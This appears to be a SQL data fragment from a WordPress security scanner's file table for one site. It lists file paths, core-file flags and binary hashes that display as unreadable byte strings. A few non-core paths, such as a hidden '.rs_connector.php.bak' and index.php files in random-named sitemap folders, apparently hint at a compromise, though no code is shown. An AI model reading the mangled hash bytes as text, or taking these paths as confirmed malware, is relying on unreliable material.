('_Eeo\nDo5','wp-content/themes/twentytwentytwo/inc/patterns/footer-about-title-logo.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-about-title-logo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H;SK?\'7','65UX$G|ϝ@/b,2','',0,'?'),
('_WP;?ax','wp-includes/js/tinymce/skins/wordpress/images/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('_KNe1H','wp-content/themes/twentytwentythree/patterns/footer-default.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/footer-default.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ļexL','T\\Zs.qrQĳ','',0,'?'),
('_<* D','wp-includes/Requests/src/Exception/Http/Status503.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status503.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7Ϸ\r|;%','^J9$ Ň\n\"]k[qN','',0,'?'),
('_|TM^J','wp-includes/css/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x;ġǎ\\$AA','EKQ.?}]%85D(WKYg','',0,'?'),
('_43=','wp-includes/images/uploader-icons.png','/home/trevorkl/trevorklee.com/wp-includes/images/uploader-icons.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\Mm','p+/i!Zţ6m','',0,'?'),
('_(CM69','wp-admin/includes/class-wp-links-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-links-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dbK\06Zwp*-','=ZwoS\"C͒RIVPN?','',0,'?'),
('_8}?','wp-includes/css/media-views-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/media-views-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',VWҌE\0L6',',P{$X{|>ޡYb;v','',0,'?'),
('_2oUE6','wp-includes/blocks/query-pagination-next.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-next.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\\"xFXC:3V','(gPiŪeOhJ8qHZYy','',0,'?'),
('`\0WLH&','wp-includes/blocks/query-title/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-title/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']l¥ˀ3','d\"Q٥[Rf?а-[1#xr,md\r_','',0,'?'),
('`\rwp8r׵','wp-includes/SimplePie/src/Copyright.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Copyright.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	5퍞T>\r\"','J=Govi}/:S4yK\rO','',0,'?'),
('`S`NI^G','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.ttf','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(i@Gg0p','G</14ŅL5!','',0,'?'),
('`%ֽj\'P','wp-admin/js/edit-comments.js','/home/trevorkl/trevorklee.com/wp-admin/js/edit-comments.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H?/)','K_ruM4ʽWFAn','',0,'?'),
('`Bd3 Cj3n','wp-includes/blocks/verse/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/verse/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v<_55ڬQ785','+.D[7 U=aI-H\0w','',0,'?'),
('``dRR̊aN','wp-content/plugins/loginizer/main/settings/security.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/security.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!r3J','bbD(vʐq80\0$','',0,'?'),
('`o\'c?/ ','wp-content/themes/twentynineteen/template-parts/header/entry-header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/header/entry-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0zNVYR','ӕ_nAlλur}D','',0,'?'),
('`;ZΚMx6>Rߝ','wp-content/themes/twentytwentyfive/styles/sections/section-5.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-5.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x6g/lzdO','(L0n MW4hO\n\0뿅','',0,'?'),
('`N2EﾮpC','wp-admin/images/privacy.svg','/home/trevorkl/trevorklee.com/wp-admin/images/privacy.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Po%фCu','!éoTu5HF#&HhV~','',0,'?'),
('`\n2','wp-admin/css/code-editor-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/code-editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VDBQVgF','w86=ݔ2\rD%VE5S	T','',0,'?'),
('`a(g\"','wp-includes/js/dist/html-entities.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/html-entities.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|}qΈ5','S\'9J_`Kixh7','',0,'?'),
('`c0\\3','wp-content/plugins/wordfence/lib/Diff/SequenceMatcher.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/Diff/SequenceMatcher.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QD2jFD*.eq','5r]$1䘦\0jfFD\0t%gq','',0,'?'),
('`fٿl(\ZVp','wp-includes/IXR/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/IXR/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('`ooZW8`','wp-includes/js/dist/preferences.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/preferences.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4\nPG9QWsǝ','Gv\rR8}zOд#4vRc	','',0,'?'),
('`;\"-+~;','wp-includes/js/tinymce/plugins/media/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/media/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#@,4dGM','XHx0֍X\ZOG|{F2','',0,'?'),
('`ьja=l','wp-includes/js/dist/script-modules/dashboard-init/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/dashboard-init/index.js',0,'[\'~eU','[\'~eU','u_MgߺN\\W.k]3ST','',0,'?'),
('`}+6L-q[$','wp-includes/sodium_compat/src/Core32/Util.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1`0','qƖ%/ygrwÛ\rLR>=Y','',0,'?'),
('`U2mdW','wp-includes/class-wp-customize-nav-menus.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-customize-nav-menus.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c.	մޮ','GZSj։\0P]O|lB','',0,'?'),
('a)6ю','wp-includes/js/plupload/moxie.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/moxie.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ض\ZV~(','k`\0rG>Pv3>.H@-','',0,'?'),
('a)TMWOoQ|','wp-admin/images/media-button.png','/home/trevorkl/trevorklee.com/wp-admin/images/media-button.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6@pz^ye','_\ZSjזY VZGen_','',0,'?'),
('a\\c,I\"5T#̋','wp-admin/images/media-button-music.gif','/home/trevorkl/trevorklee.com/wp-admin/images/media-button-music.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9 M\n5E','x\"0$!H]','',0,'?'),
('a^OZ@&\";','wp-includes/css/dist/block-library/elements-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/elements-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0YpU',')m.~yw`@ycZB','',0,'?'),
('ab*~gyy','wp-includes/block-supports/position.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/position.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P|⪭w$JD','ufUCq$qx+0l!26fX','',0,'?'),
('agOIK1އ.\ngB','wp-includes/blocks/navigation/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' \"d\"QhV','ݒbtoO@~YC	uB{]#?:\0S','',0,'?'),
('ag*sX>\r','wp-content/.rs_g3/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g3/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('awU\ZTzK','wp-includes/blocks/post-excerpt/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','եL`L(ҩ','BO!7R?0yď5','',0,'?'),
('axFSq3X;g','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State128L.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State128L.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*U\r->h	v','b[ #x񻍌؆߲#ɂ','',0,'?'),
('a?_ˢ6jX','readme.html','/home/trevorkl/trevorklee.com/readme.html',0,'A4!','A4!','LTZ|cλVYYŞV','',0,'?'),
('a>~o3','wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidAuthorizationStateException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidAuthorizationStateException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G(&_)~','ˤ`h#A4XR\\Y:','',0,'?'),
('aJr&-D','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto32.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto32.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Uo}S}8.','$s?;fĠ=`\r	&!','',0,'?'),
('a(mEBl','wp-includes/media-template.php','/home/trevorkl/trevorklee.com/wp-includes/media-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mAI.Uo','#:)!$TگiύRa','',0,'?'),
('acCH\r=l@ĸ','wp-admin/plugin-editor.php','/home/trevorkl/trevorklee.com/wp-admin/plugin-editor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?\r\nȠ','N\'v\0Ne\"UkN]_CIZ+\"1','',0,'?'),
('ay9}`nl','wp-content/themes/twentytwentytwo/templates/page-no-separators.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/page-no-separators.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g	lpGQOl','8FH>/>(Y̂fXW	=0&&\r	\r','',0,'?'),
('aolՓ\Z\nO[','wp-includes/class-wp-plugin-dependencies.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-plugin-dependencies.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!c8mH\\oO','.S4TXBA2zX+;\ZBE','',0,'?'),
('a~*k`Dnp}f','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lځk]k\\$','Xem\Z0ǴxAվxŧp','',0,'?'),
('a0}踀@~','wp-content/themes/twentytwentyone/template-parts/footer/footer-widgets.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/footer/footer-widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n}S=]','Kx,V7[{\n{etc4g','',0,'?'),
('a5E\nC+/','wp-content/plugins/loginizer/assets/js/chart.js','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/js/chart.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^5PX<','4Z!_!L	걵%O3ˡW','',0,'?'),
('aaiG}\Z ','wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԗ8&?TV_ReG4','WO$b5pکpmR6X94D','',0,'?'),
('b\"N5Vzߴ','wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('bY,ϥYr۝;','wp-includes/js/crop/cropper.css','/home/trevorkl/trevorklee.com/wp-includes/js/crop/cropper.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ky5ni*M(','ٸTޝOwLy=}gTl','',0,'?'),
('bb\nn\\Vo&','wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-left.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-left.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3H&w','ĵHUWyx7*zb\\F 0p','',0,'?'),
('bHVmA Mh\"','wp-content/themes/twentytwenty/assets/images/2020-square-1.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-square-1.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܴ6Tkx','Lw%7Mȴx  >?\\','',0,'?'),
('bN\Z{a2-j6l','wp-includes/blocks/math/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Jݏ IR>','n9?ڦQU#юZ۝D','',0,'?'),
('bHzfWgw','wp-content/plugins/wordfence/lib/wfSchema.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfSchema.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RP%HQ]9',',[/H\"Xm=iTUTH[B','',0,'?'),
('bPn^k!E$','wp-includes/js/dist/undo-manager.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/undo-manager.min.js',0,'lBuh87HT^ƍ!','lBuh87HT^ƍ!','m&9Hv9+is','',0,'?'),
('bҌ &?{','wp-includes/js/customize-loader.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-loader.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V,yV~=','r\'b\Zvi|~4K]^5','',0,'?'),
('b+ƴݟ3','wp-includes/customize/class-wp-customize-nav-menu-location-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y1]Fh','VӒk\07\'baKX-','',0,'?'),
('b񪥲K+xwF','wp-admin/css/site-health.css','/home/trevorkl/trevorklee.com/wp-admin/css/site-health.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uW\Z1k','<q+u_5V˜ɡu','',0,'?'),
('c餟(Ok1!͂','wp-admin/privacy.php','/home/trevorkl/trevorklee.com/wp-admin/privacy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#GXZ*Cl<{b',':Gjv\nb\n±V7','',0,'?'),
('c~$ķ$','wp-includes/js/tinymce/plugins/wpautoresize/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpautoresize/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('c4L]˞Mc','wp-admin/includes/class-wp-post-comments-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-post-comments-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2aSYyl)K6','F_۰G\ZO0c~Ih\nY;jƣ','',0,'?'),
('cp	PU3/','wp-content/plugins/wordfence/modules/login-security/classes/model/request.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/request.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T6C\Z~','#Z19)wmnu!\'','',0,'?'),
('c%;8QVWƝdȇ:','wp-includes/blocks/paragraph/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','˽`	Ȃ#','-ӌ>	EZh6FA$$gө','',0,'?'),
('c&fM\Z>/\n','wp-includes/css/dist/block-library/elements.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/elements.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0YpU',')m.~yw`@ycZB','',0,'?'),
('c,[xޫ3\n@','wp-includes/js/jquery/jquery.masonry.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.masonry.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@`&n|}A','\\ۙ	}Mg $0 [B','',0,'?'),
('cJ,l{@g/U','wp-includes/js/dist/router.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/router.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r{o\"J~.p','k\\bFM!Wzʆ{','',0,'?'),
('cM.KQ{Nh2]','wp-includes/js/dist/script-modules/connectors/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/connectors/index.min.asset.php',0,'o\0d~lwL','o\0d~lwL','	iLP4j((<Ư--UE','',0,'?'),
('cS3Q. 3Ty','wp-includes/js/dist/script-modules/route/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/route/index.min.asset.php',0,'=nC%ki','=nC%ki','VvUʴp}Zl%4','',0,'?'),
('ctשXپuyv','wp-includes/blocks/image/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0VY}!Pj','kq\'~M|W\'?3ںDdJc2','',0,'?'),
('c/+fN@w(h','wp-includes/css/dist/notices/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style-rtl.css',0,'S, ?s?UA','S, ?s?UA','Izuz?o\nFY\nn','',0,'?'),
('cQiQv','wp-includes/css/dist/editor/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C)#ю5ֿ3','s;τ	8^\0ڸ6	Jew,C','',0,'?'),
('cPV[b	n\Zz','wp-includes/images/media/text.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/text.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c4t;GJ\n','f-@0=IKE%>pYaF.Ik','',0,'?'),
('cu2gՑ[3+','wp-content/plugins/akismet/_inc/img/akismet-refresh-logo.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/akismet-refresh-logo.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b\'h2 ~s','mRzтq>kK	8glo@n','',0,'?'),
('cPd7k+ſ','wp-content/plugins/simpletoc/readme.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~csP','<`c$yOف ]\ru#߬R','',0,'?'),
('cu6{4n`','wp-content/themes/twentytwentyfive/styles/06-morning.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/06-morning.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J&I EO;','Z?\0iY92M`wuqG','',0,'?'),
('cD\rO;`','wp-includes/interactivity-api/class-wp-interactivity-api.php','/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/class-wp-interactivity-api.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.|q1,','/_G~\0͌c2hwq','',0,'?'),
('c[b]ݽJF','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I]U	Xg','TϚ-1 [@./i󒶦iq0o','',0,'?'),
('cOSQ˓Y>','wp-includes/js/dist/script-modules/interactivity/debug.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity/debug.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(=\0tgHvM','!H.D1k34_N[ףg','',0,'?'),
('d:wOІ','wp-includes/ID3/getid3.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/getid3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iv	vZ6','OR#G|(Yn','',0,'?'),
('d1쵓-;O','wp-admin/js/custom-background.js','/home/trevorkl/trevorklee.com/wp-admin/js/custom-background.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PA3 K}Û$','4hN\n:QqXz!iq^sYĄ,i','',0,'?'),
('dC:tA&\'b$','wp-content/plugins/akismet/abilities/class-akismet-ability.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/class-akismet-ability.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	!QոMX`GK','P\n3O+V}a\"a7Vw;|','',0,'?'),
('d4c\r/-\n>','wp-includes/blocks/post-date/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-date/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3٦>L\'','?ahƖov5nh','',0,'?'),
('d@4WJ& ϊ','wp-content/plugins/header-footer-code-manager/includes/hfcm-tools.php','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/includes/hfcm-tools.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']&e','vi~؊_7@)z.','',0,'?'),
('dF=jHc','wp-content/plugins/akismet/wrapper.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/wrapper.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','YNim5],','s\\׿ҁ\\zi0PKf','',0,'?'),
('dLTMi\'5=l','wp-content/themes/twentytwentyfive/package.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/package.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','??KV','KfKVb%~edA9','',0,'?'),
('dkJQAw6im<B1','wp-content/plugins/wordfence/modules/login-security/wordfence-login-security.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/wordfence-login-security.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U-5̀*ب','Ai~%𖨊=K\"($A','',0,'?'),
('dAuh041','wp-includes/blocks.php','/home/trevorkl/trevorklee.com/wp-includes/blocks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7T\"e@+u','wu?_:HWMU.pˎCa','',0,'?'),
('d!nR,9','wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('dxe)OJͅ','wp-includes/blocks/list-item/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/list-item/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('dY.toH9#','wp-content/plugins/akismet/abilities/class-akismet-ability-comment-check.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/class-akismet-ability-comment-check.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0f]eV]_i','`i3shs%WkupN<h','',0,'?'),
('d(%J@G','wp-admin/options.php','/home/trevorkl/trevorklee.com/wp-admin/options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','puPm)n8','zdm\\eENU7ځ\r<졂','',0,'?'),
('dހ6I5Xj','wp-content/plugins/wordfence/views/scanner/text/issue-file.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-file.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FmY?BeԵd͒','VZ\ZGW>fپǾfhL!','',0,'?'),
('d1Tgb!','wp-includes/blocks/query-title.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a8e!-','=w\'GV	FىȓT׶qOBj\nz','',0,'?'),
('d4j2UV$P','wp-admin/css/wp-admin.css','/home/trevorkl/trevorklee.com/wp-admin/css/wp-admin.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7#Q&M?»|[','QD6hPqqM9FO\\O','',0,'?'),
('d@!dJ','wp-includes/js/mediaelement/mejs-controls.png','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mejs-controls.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.۷Z#e0<l','X*\ZX(Z!ȽD2aB','',0,'?'),
('e\0hLщ','wp-content/plugins/wordfence/lib/email_unsubscribeRequest.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_unsubscribeRequest.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$RJzta','*`Jbe8ER\04U@','',0,'?'),
('ee{:\0vy','wp-content/themes/twentytwentyone/assets/js/skip-link-focus-fix.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/skip-link-focus-fix.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Gˡ/c2\r','|m8<YFS_>g6a$k','',0,'?'),
('e\rZfޞ|','wp-includes/js/api-request.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/api-request.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[\'|\")!ô\"p','\ndPK3*R\'5Ē \Z\'?','',0,'?'),
('e--+B@a~_T','wp-content/themes/twentytwentyfive/contributing.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/contributing.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ǻ\\|n7Τ\"i','XEN&YZJdѺ%','',0,'?'),
('e\0{+rj6H]','wp-content/themes/twentytwentyfive/styles/sections/section-2.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-2.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ȋ\\a=','\0BGQwÐ+·<PE','',0,'?'),
('e\"T{*xļ','wp-content/themes/twentytwentythree/styles/block-out.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/block-out.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S-]ؚՋl),','SG\Ząew\ns^Y','',0,'?'),
('e(pc< 5j>','wp-includes/css/dist/notices/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/notices/style.css',0,'S, ?s?UA','S, ?s?UA','Izuz?o\nFY\nn','',0,'?'),
('e.PȴNBSx[&','wp-admin/includes/class-wp-plugin-install-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-plugin-install-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u8$z2P','f|\"70\\~Q]{ByH}v\\','',0,'?'),
('e08/;t','wp-includes/blocks/tag-cloud/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	y\'du\ZBEZ','up^\rzxsic:w\Z@iL','',0,'?'),
('eCΐn})bm5','wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidArgumentException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidArgumentException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J}>QҴ2cP[`i','Ua!EV\\]&B͈dQW','',0,'?'),
('esȿawM[8','wp-includes/SimplePie/library/SimplePie/Parser.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&52uD','gu@xKH1C,x}Yoa֬\r','',0,'?'),
('euo(8?5','wp-includes/js/jquery/ui/menu.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/menu.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S86;','`_$o\0%oVdOhg','',0,'?'),
